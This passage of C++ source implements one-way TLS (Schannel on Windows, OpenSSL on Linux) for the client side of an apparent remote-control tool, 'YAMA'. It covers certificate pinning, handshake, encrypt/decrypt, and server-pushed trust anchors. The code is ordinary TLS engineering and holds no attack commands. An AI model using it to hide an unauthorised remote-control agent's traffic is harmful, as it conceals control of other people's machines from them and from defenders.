std::lock_guard<std::mutex> lk(g_tlsMtx);
EnsureTlsLoadedLocked();
return g_tlsError;
}
bool TlsReload(std::string& err)
{
std::lock_guard<std::mutex> lk(g_tlsMtx);
return ApplyTlsStateLocked(!g_tlsLoaded, err);
}
// ---- TlsChannel ----
void TlsChannel::CloseHandles()
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (m_ctxValid) { DeleteSecurityContext(&m_ctx); m_ctx = {}; m_ctxValid = false; }
if (m_credValid) { FreeCredentialsHandle(&m_cred); m_cred = {}; m_credValid = false; }
m_ready = false;
m_raw.clear();
m_pending.clear();
}
bool TlsChannel::SendAll(SOCKET sock, const void* data, int len)
{
const char* p = (const char*)data;
int sent = 0;
while (sent < len) {
int n = ::send(sock, p + sent, len - sent, 0);
if (n == SOCKET_ERROR || n == 0)
return false;
sent += n;
}
return true;
}
bool TlsChannel::VerifyServerCert()
{
PCCERT_CONTEXT remote = NULL;
SECURITY_STATUS sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_REMOTE_CERT_CONTEXT, &remote);
if (sc != SEC_E_OK || !remote)
return false;
// 与 TlsReload 互斥:校验期间持有 g_tlsMtx,重建时释放的旧 store/engine 不会正被使用。
// 持锁时间很短:建链全是本地操作(DISABLE_AIA 禁联网取中间证书,也不带任何
// CERT_CHAIN_REVOCATION_CHECK_* 位),不会因为网络等待而卡住 TlsReload。
std::lock_guard<std::mutex> lk(g_tlsMtx);
if (!g_tlsStore || !g_tlsEngine) {
CertFreeCertificateContext(remote);
return false;
}
CERT_CHAIN_PARA para = {};
para.cbSize = sizeof(para);
PCCERT_CHAIN_CONTEXT chain = NULL;
// g_tlsEngine 的 hExclusiveRoot 已把信任锚限制为 g_tlsStore;hAdditionalStore 再传一次
// 该 store 供链引擎查找 CA/中间证书。只接受「无任何错误位」的链(含时间有效性)。
// 不设置任何 CERT_CHAIN_REVOCATION_CHECK_* 位 = 不做吊销检查(私有 CA 无 CRL/OCSP,
// 且这些位会触发联网,反而失败);只保留 CERT_CHAIN_DISABLE_AIA 禁止联网取中间证书。
BOOL ok = CertGetCertificateChain(g_tlsEngine, remote, NULL, g_tlsStore, &para,
CERT_CHAIN_DISABLE_AIA,
NULL, &chain);
bool trusted = false;
if (ok && chain) {
trusted = (chain->TrustStatus.dwErrorStatus == CERT_TRUST_NO_ERROR);
}
if (chain) CertFreeCertificateChain(chain);
CertFreeCertificateContext(remote);
return trusted;
}
bool TlsChannel::Handshake(SOCKET sock, const char* sni)
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
CloseHandles(); // 重连时清理上一次会话(recursive 锁,此处可重入)
SCHANNEL_CRED cred = {};
cred.dwVersion = SCHANNEL_CRED_VERSION;
cred.dwFlags = SCH_CRED_MANUAL_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS;
cred.grbitEnabledProtocols = SP_PROT_TLS1_2_CLIENT; // TLS 1.2(与 Go 端 MinVersion 对齐)
TimeStamp tsExpiry = {};
SECURITY_STATUS sc = AcquireCredentialsHandleA(
NULL, (SEC_CHAR*)"Microsoft Unified Security Protocol Provider",
SECPKG_CRED_OUTBOUND, NULL, &cred, NULL, NULL, &m_cred, &tsExpiry);
if (sc != SEC_E_OK) {
Mprintf("[TLS] AcquireCredentialsHandle failed: 0x%08X\n", (unsigned)sc);
return false;
}
m_credValid = true;
DWORD flags = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY
| ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_STREAM | ISC_REQ_MANUAL_CRED_VALIDATION;
SecBuffer outBuf = { 0, SECBUFFER_TOKEN, NULL };
SecBufferDesc outDesc = { SECBUFFER_VERSION, 1, &outBuf };
ULONG attrs = 0;
// 首次调用产生 ClientHello。pszTargetName 非空时 Schannel 会把它作为 SNI 发送,
// 供反代按域名分流;证书校验仍是手动钉信任锚(SCH_CRED_MANUAL_CRED_VALIDATION),
// 不因传了名字而启用主机名校验。
sc = InitializeSecurityContextA(&m_cred, NULL, (SEC_CHAR*)sni, flags, 0, SECURITY_NATIVE_DREP,
NULL, 0, &m_ctx, &outDesc, &attrs, &tsExpiry);
m_ctxValid = true; // 上下文已分配,之后必须 DeleteSecurityContext
if (sc != SEC_I_CONTINUE_NEEDED && sc != SEC_E_OK) {
Mprintf("[TLS] InitializeSecurityContext(initial) failed: 0x%08X\n", (unsigned)sc);
CloseHandles();
return false;
}
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
FreeContextBuffer(outBuf.pvBuffer);
CloseHandles();
return false;
}
FreeContextBuffer(outBuf.pvBuffer);
}
std::vector<BYTE> hs;
char raw[8192];
while (sc == SEC_I_CONTINUE_NEEDED || sc == SEC_E_INCOMPLETE_MESSAGE ||
sc == SEC_I_INCOMPLETE_CREDENTIALS)
{
int r = recv(sock, raw, sizeof(raw), 0);
if (r == SOCKET_ERROR || r == 0) {
Mprintf("[TLS] handshake recv failed/EOF\n");
CloseHandles();
return false;
}
hs.insert(hs.end(), (BYTE*)raw, (BYTE*)raw + r);
SecBuffer inBufs[2] = {
{ (ULONG)hs.size(), SECBUFFER_TOKEN, hs.data() },
{ 0, SECBUFFER_EMPTY, NULL },
};
SecBufferDesc inDesc = { SECBUFFER_VERSION, 2, inBufs };
outBuf = { 0, SECBUFFER_TOKEN, NULL };
outDesc = { SECBUFFER_VERSION, 1, &outBuf };
sc = InitializeSecurityContextA(&m_cred, &m_ctx, (SEC_CHAR*)sni, flags, 0, SECURITY_NATIVE_DREP,
&inDesc, 0, NULL, &outDesc, &attrs, &tsExpiry);
// 裁剪已消费的输入,仅保留 SECBUFFER_EXTRA 指向的未消费尾部
if (inBufs[1].BufferType == SECBUFFER_EXTRA) {
int extra = inBufs[1].cbBuffer;
int consumed = (int)hs.size() - extra;
hs.erase(hs.begin(), hs.begin() + consumed);
} else {
hs.clear();
}
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
FreeContextBuffer(outBuf.pvBuffer);
CloseHandles();
return false;
}
FreeContextBuffer(outBuf.pvBuffer);
}
}
if (sc != SEC_E_OK) {
Mprintf("[TLS] handshake failed: 0x%08X\n", (unsigned)sc);
CloseHandles();
return false;
}
// 握手成功后 hs 里可能残留「未消费的尾部」= 服务端 Finished 后紧跟的首条应用数据
// (TLS 记录)。若不下发,首包会被丢弃,导致随机丢包/协议错位。交给 Recv 解。
if (!hs.empty())
m_raw.insert(m_raw.end(), hs.begin(), hs.end());
if (!VerifyServerCert()) {
Mprintf("[TLS] server certificate not trusted against yama-ca.pem (fail-closed)\n");
CloseHandles();
return false;
}
sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_STREAM_SIZES, &m_sizes);
if (sc != SEC_E_OK) {
Mprintf("[TLS] QueryContextAttributes(StreamSizes) failed: 0x%08X\n", (unsigned)sc);
CloseHandles();
return false;
}
m_ready = true;
Mprintf("[TLS] handshake OK (TLS 1.2, server cert trusted)\n");
return true;
}
int TlsChannel::Recv(SOCKET sock, char* out, int outLen)
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (!m_ready || outLen <= 0) {
Mprintf("[TLS] Recv called but m_ready=%d (outLen=%d), returning SOCKET_ERROR\n",
(int)m_ready, outLen);
return SOCKET_ERROR;
}
if (!m_pending.empty()) {
int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
memcpy(out, m_pending.data(), n);
m_pending.erase(m_pending.begin(), m_pending.begin() + n);
return n;
}
char raw[16384];
for (;;) {
// 优先解密 m_raw 里已缓冲的字节(握手时随 Finished 收下的首条应用数据,或上轮
// 一次 recv 到多条记录后剩下的记录)。select() 只看底层 socket,看不到这些字节,
// 若先 recv 就会把它们卡住(随机延迟/死锁/协议错位)。
while (!m_raw.empty()) {
SecBuffer bufs[4] = {
{ (ULONG)m_raw.size(), SECBUFFER_DATA, m_raw.data() },
{ 0, SECBUFFER_EMPTY, NULL },
{ 0, SECBUFFER_EMPTY, NULL },
{ 0, SECBUFFER_EMPTY, NULL },
};
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
SECURITY_STATUS sc = DecryptMessage(&m_ctx, &desc, 0, NULL);
if (sc == SEC_E_INCOMPLETE_MESSAGE)
break; // 记录不完整,去 recv 补字节
if (sc == SEC_I_CONTEXT_EXPIRED)
return 0; // close_notify
if (sc == SEC_I_RENEGOTIATE || FAILED(sc)) {
// 客户端解密失败(服务端发来的密文损坏/错位)。这里只返回 SOCKET_ERROR,
// 而 WSAGetLastError() 会残留上一次 Winsock 调用的旧值(如 6001),
// 掩盖真实原因,故把真实的 SECURITY_STATUS 记下来。
Mprintf("[TLS] client DecryptMessage failed 0x%08x (raw=%u pending=%u)\n",
(unsigned)sc, (unsigned)m_raw.size(), (unsigned)m_pending.size());
return SOCKET_ERROR;
}
// 流模式 DecryptMessage 会把输入 SECBUFFER_DATA 重组为 4 段:
// bufs[0]=STREAM_HEADER(记录头+nonce)、bufs[1]=DATA(明文)、
// bufs[2]=STREAM_TRAILER(标签)、bufs[3]=EXTRA(下一条记录)。
// 明文在 bufs[1].pvBuffer,不在 m_raw 首字节。
int decLen = bufs[1].cbBuffer;
const BYTE* plain = (const BYTE*)bufs[1].pvBuffer;
int extra = (bufs[3].BufferType == SECBUFFER_EXTRA) ? bufs[3].cbBuffer : 0;
int consumed = (int)m_raw.size() - extra;
m_pending.insert(m_pending.end(), plain, plain + decLen);
m_raw.erase(m_raw.begin(), m_raw.begin() + consumed);
if (!m_pending.empty()) {
int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
memcpy(out, m_pending.data(), n);
m_pending.erase(m_pending.begin(), m_pending.begin() + n);
return n;
}
// 无明文的记录(如 alert/CCS):继续循环解下一条
}
int r = recv(sock, raw, sizeof(raw), 0);
if (r == SOCKET_ERROR)
return SOCKET_ERROR;
if (r == 0)
return 0; // 对端关闭(此时无 pending,且 m_raw 已解完/为空)
m_raw.insert(m_raw.end(), (BYTE*)raw, (BYTE*)raw + r);
// 循环回顶部,解密刚收到的字节
}
}
int TlsChannel::Send(SOCKET sock, const char* data, int len)
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (!m_ready)
return SOCKET_ERROR;
if (len <= 0)
return 0;
ULONG maxMsg = m_sizes.cbMaximumMessage > 0 ? m_sizes.cbMaximumMessage : 16384;
int total = 0;
while (total < len) {
int chunk = (len - total > (int)maxMsg) ? (int)maxMsg : (len - total);
std::vector<BYTE> rec(m_sizes.cbHeader + chunk + m_sizes.cbTrailer);
BYTE* hdr = rec.data();
BYTE* body = hdr + m_sizes.cbHeader;
BYTE* trailer = body + chunk;
memcpy(body, data + total, chunk);
SecBuffer bufs[4] = {
{ m_sizes.cbHeader, SECBUFFER_STREAM_HEADER, hdr },
{ (ULONG)chunk, SECBUFFER_DATA, body },
{ m_sizes.cbTrailer, SECBUFFER_STREAM_TRAILER, trailer },
{ 0, SECBUFFER_EMPTY, NULL },
};
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
SECURITY_STATUS sc = EncryptMessage(&m_ctx, 0, &desc, 0);
if (FAILED(sc)) {
return total > 0 ? total : SOCKET_ERROR;
}
int wireLen = bufs[0].cbBuffer + bufs[1].cbBuffer + bufs[2].cbBuffer;
if (!SendAll(sock, rec.data(), wireLen)) {
return total > 0 ? total : SOCKET_ERROR;
}
total += chunk;
}
return total;
}
#endif // _WIN32
+187
View File
@@ -0,0 +1,187 @@
// TlsChannel.h — 客户端单向 TLS 会话封装(Windows: Schannel;Linux: OpenSSL)
//
// 用途:为 YAMA 客户端(被控端)提供「按需开启」的传输层加密。当信任锚证书存在时,
// 所有出站 TCP 连接在应用协议首包前先完成 TLS 握手;握手失败一律断开
// (fail-closed,不回退明文)。
//
// 选型:
// - Windows:Schannel(原生 SSPI),零第三方依赖;secur32.lib / crypt32.lib 为系统库。
// - Linux:OpenSSL(构建链已因 libsign 链接 libcrypto,另加 libssl 即可)。
// 两者都是单向 TLS:客户端只校验服务端证书链到固定的信任锚,不提供客户端证书,
// 客户端身份仍由隧道内登录(V1 PwdHmac / V2 ECDSA)承担;均不校主机名(客户端按 IP
// 连接),不做吊销检查——与 Windows 版既有语义保持一致。
//
// 线程模型:Handshake 在连接建立线程上、m_bConnected 置位前调用;Send/Recv 分别在
// 发送线程 / 接收线程上调用。上下文生命周期(Handshake/CloseHandles 释放上下文)与
// Send/Recv 对上下文的使用由 m_ctxMtx 互斥,避免重连线程释放上下文时与使用线程产生
// use-after-free。本对象作为 IOCPClient 的值成员存在,析构时释放上下文。
//
// 平台范围:_WIN32 与 Linux(非 Android)有实现;macOS / Android 不含任何内容,客户端
// 维持明文(TLS 接入按设计文档延后)。两平台都通过 YAMA_TLS_CHANNEL 宏告知调用方
// 「本平台有 TLS 通道」。
#pragma once
#if defined(_WIN32)
#define YAMA_TLS_CHANNEL 1
#include <WinSock2.h>
#ifndef SECURITY_WIN32
#define SECURITY_WIN32 1
#endif
#include <security.h>
#include <schannel.h>
#include <mutex>
#include <string>
#include <vector>
// 进程级 TLS 开关:首次调用时加载信任锚(注册表或文件),返回是否启用。线程安全。
// Windows 版同样是「可热切换」的:TlsReload() 之后本函数立刻反映新状态(不是 call_once)。
bool TlsEnabled();
// 信任锚已配置但加载失败(损坏/格式错误)时为 true:表示管理员已「颁发」证书,
// 客户端必须拒绝连接(fail-closed),不得静默回退明文。线程安全、幂等。
bool TlsLoadError();
// 按当前信任锚位置(注册表 settings\tls_cert → settings.ini → exe 同目录 yama-ca.pem)
// 重建 TLS 上下文并更新开关,让随后建立的新连接立刻走新传输方式(已建立的连接不受
// 影响)。信任锚无效时不做任何改动、返回 false 并给出原因——一次坏下发不该把正在工作
// 的客户端打死(下次启动仍 fail-closed)。线程安全:与 TlsEnabled/TlsLoadError/握手
// 的证书校验互斥。
bool TlsReload(std::string& err);
class TlsChannel
{
public:
TlsChannel() {}
~TlsChannel() { CloseHandles(); }
// 持 Schannel 句柄,禁止拷贝/赋值(避免句柄被二次释放)。
TlsChannel(const TlsChannel&) = delete;
TlsChannel& operator=(const TlsChannel&) = delete;
// 在已连通的 socket 上完成 TLS 客户端握手并校验服务端证书链。失败返回 false,
// 调用方必须关闭 socket(fail-closed)。可重复调用(重连时复用同一对象)。
// sni 非空且为域名时作为 SNI 发送,让反代(nginx)按域名分流到正确的 server 块;
// 证书校验仍只钉信任锚、不校主机名,与直接连主控端口时完全一致。
bool Handshake(SOCKET sock, const char* sni = NULL);
// 解密读取:返回 >0 的明文字节数;0 表示对端正常关闭;SOCKET_ERROR(-1) 出错。
int Recv(SOCKET sock, char* buf, int len);
// 加密发送 len 字节:成功返回已完整发送的明文字节数(== len);失败返回已发送的
// 前缀字节数(>0)或 SOCKET_ERROR(一个字节都没发出去时)。
int Send(SOCKET sock, const char* buf, int len);
// 是否有待交付的数据:已解密明文(m_pending)或已缓冲但尚未解密的 TLS 记录(m_raw)。
// 供接收线程在 select 前优先消费——select 只看底层 socket,看不到 Schannel 缓冲的
// m_raw(握手时随 Finished 收下的首条应用数据、或一次 recv 到多条记录后的剩余),
// 若这里不把 m_raw 也算作「有数据」,这些字节会被 select 卡住。
bool HasPending() const { return !m_pending.empty() || !m_raw.empty(); }
// 握手是否已完成(Send/Recv 可用)。诊断用:区分「本连接已走 TLS」与「裸连接」。
bool IsReady() const { return m_ready; }
private:
void CloseHandles();
bool SendAll(SOCKET sock, const void* data, int len);
bool VerifyServerCert();
CredHandle m_cred = {};
CtxtHandle m_ctx = {};
bool m_credValid = false; // m_cred 已分配,需 FreeCredentialsHandle
bool m_ctxValid = false; // m_ctx 已分配,需 DeleteSecurityContext
bool m_ready = false; // 握手完成,Send/Recv 可用
SecPkgContext_StreamSizes m_sizes = {};
// 保护上下文生命周期:重连线程的 Handshake/CloseHandles(释放 m_ctx)与工作线程的
// Recv(DecryptMessage)、发送线程的 Send(EncryptMessage)互斥,避免 use-after-free。
// recursive 是因为 Handshake 内部会再调 CloseHandles。
std::recursive_mutex m_ctxMtx;
std::vector<BYTE> m_raw; // 尚未解密 / 未消费完的 TLS 记录原始字节
std::vector<BYTE> m_pending; // 已解密、未交付给应用层的明文
};
#elif defined(__linux__) && !defined(__ANDROID__)
#define YAMA_TLS_CHANNEL 1
#include <string>
#include <mutex>
struct ssl_st; // OpenSSL 的 SSL 类型,避免头文件把 openssl/ssl.h 拖进所有翻译单元
// 进程级 TLS 开关:首次调用时加载信任锚文件,返回是否启用。线程安全、幂等。
// Linux 版是「可热切换」的:TlsReload() 之后本函数立刻反映新状态(不是 call_once)。
bool TlsEnabled();
// 信任锚已配置但加载失败(无法读取/格式错误/内容为空)时为 true:客户端必须拒绝连接
// (fail-closed),不得静默回退明文。线程安全、幂等。
bool TlsLoadError();
// 服务端下发信任锚(COMMAND_TLS_ENABLE):把 PEM 正文写入
// $XDG_CONFIG_HOME/ghost/yama-ca.pem(默认 ~/.config/ghost/yama-ca.pem,无 HOME 时退回
// 程序目录),原子替换、权限 0600。写入前先解析验证,不是合法证书就整包拒绝。
// 落盘后用 TlsReload() 立即生效(Windows 客户端在 COMMAND_TLS_ENABLE 里调用同一个
// TlsReload(),两平台行为一致)。
bool TlsTrustAnchorSave(const std::string& pem, std::string& err);
// 服务端撤销信任锚(COMMAND_TLS_DISABLE):删除上述配置文件(含程序目录同名文件)。
// 返回是否删掉了至少一个文件;之后同样用 TlsReload() 立即生效。
bool TlsTrustAnchorRemove(std::string& err);
// 按当前信任锚文件重建 TLS 上下文并更新开关,让随后建立的新连接立刻走新传输方式
// (已建立的连接不受影响:SSL 对象自持 SSL_CTX 引用)。信任锚无效时不做任何改动、
// 返回 false 并给出原因——一次坏下发不该把正在工作的客户端打死(下次启动仍 fail-closed)。
// 线程安全:与 TlsEnabled/TlsLoadError/Handshake 互斥。
bool TlsReload(std::string& err);
class TlsChannel
{
public:
TlsChannel() {}
~TlsChannel() { CloseHandles(); }
// 持 SSL*,禁止拷贝/赋值(避免上下文被二次释放)。
TlsChannel(const TlsChannel&) = delete;
TlsChannel& operator=(const TlsChannel&) = delete;
// 在已连通的 socket 上完成 TLS 1.2 客户端握手并按信任锚校验服务端证书链。失败返回
// false,调用方必须关闭 socket(fail-closed)。可重复调用(重连时复用同一对象)。
// sni 非空且为域名时作为 SNI 发送(反代按域名分流);证书校验仍只钉信任锚。
bool Handshake(int sock, const char* sni = NULL);
// 解密读取:返回 >0 的明文字节数;0 表示对端正常关闭;SOCKET_ERROR(-1) 出错。
int Recv(int sock, char* buf, int len);
// 加密发送 len 字节:成功返回已完整发送的明文字节数(== len);失败返回已发送的
// 前缀字节数(>0)或 SOCKET_ERROR(一个字节都没发出去时)。
int Send(int sock, const char* buf, int len);
// 是否有待交付的数据(SSL 内部已缓冲)供接收线程在 select 前优先消费。OpenSSL 会在
// 一个 TLS 记录里装多条应用数据,一次 SSL_read 只交付一部分;剩余的留在 SSL 内部,
// select 看不到,必须用 SSL_has_pending() 才能避免被 2 秒超时卡住。
bool HasPending() const;
// 握手是否已完成(Send/Recv 可用)。诊断用:区分「本连接已走 TLS」与「裸连接」。
bool IsReady() const { return m_ready; }
private:
void CloseHandles();
ssl_st* m_ssl = nullptr;
int m_fd = -1;
bool m_ready = false; // 握手完成,Send/Recv 可用
// 保护上下文生命周期:重连线程的 Handshake/CloseHandles(释放 m_ssl)与工作线程的
// Recv(SSL_read)、发送线程的 Send(SSL_write)互斥。OpenSSL 的 SSL 对象不允许
// 并发使用,所以 Send/Recv 也持锁——与 Windows 版同样式。
// mutable 是因为 HasPending() 是 const 但需要持锁读 m_ssl。
mutable std::recursive_mutex m_ctxMtx;
};
#endif // _WIN32 / __linux__ && !__ANDROID__
+563
View File
@@ -0,0 +1,563 @@
// TlsChannelLinux.cpp — 见 TlsChannel.h 头注释。仅 Linux(非 Android)编译。
//
// 与 Windows 的 Schannel 实现语义对齐:
// - 单向 TLS 1.2(min=max=1.2,与 SP_PROT_TLS1_2_CLIENT 及两套服务端一致);
// - 信任锚严格钉扎:证书链只按信任锚文件里的证书校验,不含系统根库;
// - 不校主机名(客户端按 IP 连接,与 Windows 版一致)、不做吊销检查;
// - 信任锚「存在即已配置」:读取/解析失败一律 TlsLoadError()=true → 调用方拒绝连接。
//
// 与 Windows 实现的差异:OpenSSL 自己管理 TLS 记录缓冲,不需要 m_raw/m_pending;
// 一次性交付不出去的明文留在 SSL 内部,由 SSL_has_pending()/SSL_pending() 暴露给
// 接收线程在 select 前优先消费。
#if defined(__linux__) && !defined(__ANDROID__)
#include "TlsChannel.h"
#include "common/commands.h" // SOCKET_ERROR / closesocket 等 POSIX 兼容宏
#include "common/logger.h" // Mprintf
#include <openssl/err.h>
#include <openssl/pem.h>
#include <openssl/ssl.h>
#include <openssl/x509.h>
#include <openssl/x509_vfy.h>
#include <cerrno>
#include <cstdlib>
#include <cstring>
#include <fstream>
#include <iterator>
#include <mutex>
#include <string>
#include <vector>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
namespace {
const char* const kAnchorName = "yama-ca.pem";
// 进程级 TLS 状态。两平台都可由 TlsReload() 热切换(Windows 版改造前是 call_once)
// (服务端 COMMAND_TLS_ENABLE/DISABLE 落盘后立即重建),因此用互斥量而不是 once_flag。
std::mutex g_stateMtx; // 保护下面四项
bool g_inited = false; // 首次加载已完成(含 fail-closed 基态)
bool g_tlsEnabled = false; // TLS 会话可用:send/recv 走加密
bool g_tlsError = false; // 信任锚存在但加载失败:拒绝连接(fail-closed)
SSL_CTX* g_tlsCtx = nullptr; // 进程级上下文(线程安全,可被多条连接共享)
std::string g_anchorPath; // 仅用于日志
// 配置目录:与 LinuxConfig 相同规则($XDG_CONFIG_HOME/ghost 或 ~/.config/ghost)。
std::string ConfigDir()
{
const char* xdg = getenv("XDG_CONFIG_HOME");
if (xdg && xdg[0])
return std::string(xdg) + "/ghost";
const char* home = getenv("HOME");
if (!home || !home[0])
return std::string();
return std::string(home) + "/.config/ghost";
}
// 可执行文件所在目录(readlink /proc/self/exe,失败返回空)。
std::string ExeDir()
{
char buf[4096];
ssize_t n = readlink("/proc/self/exe", buf, sizeof(buf) - 1);
if (n <= 0)
return std::string();
buf[n] = '\0';
char* slash = strrchr(buf, '/');
if (!slash)
return std::string();
*slash = '\0';
return std::string(buf);
}
// 信任锚候选路径(按优先级),只返回已经存在的那个:
// 1) $XDG_CONFIG_HOME/ghost/yama-ca.pem(默认 ~/.config/ghost/yama-ca.pem)
// 2) 可执行文件同目录 yama-ca.pem(兼容手工投递,与 Windows 的 exe 同名文件回退一致)
bool FindAnchorPath(std::string& out)
{
std::vector<std::string> cands;
std::string dir = ConfigDir();
if (!dir.empty())
cands.push_back(dir + "/" + kAnchorName);
std::string exed = ExeDir();
if (!exed.empty())
cands.push_back(exed + "/" + kAnchorName);
for (size_t i = 0; i < cands.size(); ++i) {
if (access(cands[i].c_str(), F_OK) == 0) {
out = cands[i];
return true;
}
}
return false;
}
// 递归 mkdir -p(已存在视为成功)。
bool MkdirP(const std::string& path, mode_t mode)
{
if (path.empty())
return false;
struct stat st;
if (stat(path.c_str(), &st) == 0)
return S_ISDIR(st.st_mode);
size_t slash = path.find_last_of('/');
if (slash != std::string::npos && slash > 0) {
if (!MkdirP(path.substr(0, slash), mode))
return false;
}
if (mkdir(path.c_str(), mode) != 0 && errno != EEXIST)
return false;
return true;
}
// 把 PEM(可含多张证书)或 DER 信任锚写入 store。返回加入的证书数。
int LoadAnchors(const std::string& data, X509_STORE* store)
{
int added = 0;
if (data.find("-----BEGIN") != std::string::npos) {
BIO* bio = BIO_new_mem_buf(data.data(), (int)data.size());
if (bio) {
for (;;) {
X509* cert = PEM_read_bio_X509(bio, NULL, NULL, NULL);
if (!cert)
break;
if (X509_STORE_add_cert(store, cert) == 1)
++added;
else
ERR_clear_error(); // 重复证书等:忽略该张,继续读后面的
X509_free(cert);
}
BIO_free(bio);
}
ERR_clear_error();
}
if (added == 0) {
// 退回 DER(单张)
const unsigned char* p = (const unsigned char*)data.data();
X509* cert = d2i_X509(NULL, &p, (long)data.size());
if (cert) {
if (X509_STORE_add_cert(store, cert) == 1)
++added;
else
ERR_clear_error();
X509_free(cert);
}
ERR_clear_error();
}
return added;
}
enum BuildResult
{
BUILD_PLAINTEXT, // 没有信任锚文件 → 明文模式
BUILD_READY, // *outCtx 为新建上下文,调用方接管所有权
BUILD_INVALID, // 文件存在但读不了/解析不出证书(err 说明原因)
};
// 按当前信任锚文件构建一份新的 TLS 上下文。不读写任何全局状态,便于「先构建、成功再替换」。
BuildResult BuildState(SSL_CTX** outCtx, std::string& anchorPath, std::string& err, int& certs)
{
*outCtx = nullptr;
certs = 0;
anchorPath.clear();
std::string path;
if (!FindAnchorPath(path)) {
// 无证书 → 明文(默认,与老客户端一致)
return BUILD_PLAINTEXT;
}
anchorPath = path;
// 证书已配置:管理员已「颁发」,必须走 TLS;读取/解析失败即拒绝连接(fail-closed),
// 不能静默回退明文。
std::ifstream f(path.c_str(), std::ios::binary);
if (!f) {
err = "cannot open " + path + ": " + strerror(errno);
return BUILD_INVALID;
}
std::string pem((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
SSL_CTX* ctx = SSL_CTX_new(TLS_client_method());
if (!ctx) {
err = "SSL_CTX_new failed";
return BUILD_INVALID;
}
// TLS 1.2 钉扎:与 Windows 客户端(SP_PROT_TLS1_2_CLIENT)及两套服务端(Schannel
// SP_PROT_TLS1_2_SERVER / Go MinVersion=TLS1.2)保持一致。
SSL_CTX_set_min_proto_version(ctx, TLS1_2_VERSION);
SSL_CTX_set_max_proto_version(ctx, TLS1_2_VERSION);
// SSL_VERIFY_PEER + 自定义 store = 严格钉扎到信任锚(不含系统根库),链校验在握手内
// 完成,失败即握手失败。verify 回调传 NULL 使用默认行为(只验链,不校主机名)。
SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, NULL);
SSL_CTX_set_verify_depth(ctx, 8);
// 对端不打招呼就断开(不发 close_notify)在这里是常态:服务端关闭子连接时不发,
// 客户端自己也同样不发(见 CloseHandles 的说明)。OpenSSL 3.0 起这种 unexpected EOF
// 被归为 SSL_ERROR_SSL 协议错误,于是每结束一个终端/文件传输子连接都会记一条
// 「SSL_read failed」——线上日志看着像 TLS 坏了。打开这个选项让它按正常关闭处理
// (SSL_read 返回 0),与 Recv 的文档语义以及 Windows 版的行为一致。
#ifdef SSL_OP_IGNORE_UNEXPECTED_EOF
SSL_CTX_set_options(ctx, SSL_OP_IGNORE_UNEXPECTED_EOF);
#endif
X509_STORE* store = X509_STORE_new();
certs = store ? LoadAnchors(pem, store) : 0;
if (!store || certs <= 0) {
if (store)
X509_STORE_free(store);
SSL_CTX_free(ctx);
certs = 0;
err = "trust anchor " + path + " present but empty/invalid";
return BUILD_INVALID;
}
SSL_CTX_set_cert_store(ctx, store); // ctx 接管 store 所有权
*outCtx = ctx;
return BUILD_READY;
}
// 替换全局状态并释放旧上下文(调用方持 g_stateMtx)。SSL 对象在 SSL_new 时已递增
// SSL_CTX 的引用计数,所以已经建立的连接不会因为这里释放旧 ctx 而失效。
void InstallStateLocked(SSL_CTX* ctx, bool enabled, bool error, const std::string& anchor)
{
SSL_CTX* old = g_tlsCtx;
g_tlsCtx = ctx;
g_tlsEnabled = enabled;
g_tlsError = error;
g_anchorPath = anchor;
if (old)
SSL_CTX_free(old);
}
// 首次加载(调用方持锁):锚存在但无效时置 fail-closed。
void EnsureInitLocked()
{
if (g_inited)
return;
g_inited = true;
SSL_CTX* ctx = nullptr;
std::string anchor, err;
int certs = 0;
switch (BuildState(&ctx, anchor, err, certs)) {
case BUILD_PLAINTEXT:
InstallStateLocked(nullptr, false, false, anchor);
Mprintf("[TLS] disabled: no trust anchor configured, plaintext mode\n");
break;
case BUILD_READY:
InstallStateLocked(ctx, true, false, anchor);
Mprintf("[TLS] enabled: trust anchor loaded (%s, %d cert(s)), all connections use TLS\n",
anchor.c_str(), certs);
break;
case BUILD_INVALID:
InstallStateLocked(nullptr, false, true, anchor);
Mprintf("[TLS] FATAL: %s; refusing connections (fail-closed)\n", err.c_str());
break;
}
}
} // namespace
bool TlsEnabled()
{
std::lock_guard<std::mutex> lk(g_stateMtx);
EnsureInitLocked();
return g_tlsEnabled;
}
bool TlsLoadError()
{
std::lock_guard<std::mutex> lk(g_stateMtx);
EnsureInitLocked();
return g_tlsError;
}
bool TlsReload(std::string& err)
{
std::lock_guard<std::mutex> lk(g_stateMtx);
EnsureInitLocked(); // 未初始化就先按启动语义建立基态,保持 fail-closed 行为
SSL_CTX* ctx = nullptr;
std::string anchor;
int certs = 0;
BuildResult r = BuildState(&ctx, anchor, err, certs);
if (r == BUILD_INVALID) {
// 保留原状态:一次坏下发不该让正在工作的客户端失联(下次启动仍会 fail-closed)。
Mprintf("[TLS] reload FAILED: %s; keeping current transport (%s)\n",
err.c_str(), g_tlsEnabled ? "TLS" : "plaintext");
return false;
}
if (r == BUILD_PLAINTEXT) {
InstallStateLocked(nullptr, false, false, anchor);
Mprintf("[TLS] reloaded: no trust anchor, transport is now plaintext\n");
return true;
}
InstallStateLocked(ctx, true, false, anchor);
Mprintf("[TLS] reloaded: trust anchor %s (%d cert(s)), transport is now TLS\n",
anchor.c_str(), certs);
return true;
}
// ---- 信任锚下发 / 撤销(服务端 COMMAND_TLS_ENABLE / COMMAND_TLS_DISABLE)----
bool TlsTrustAnchorSave(const std::string& pem, std::string& err)
{
if (pem.empty()) {
err = "empty certificate payload";
return false;
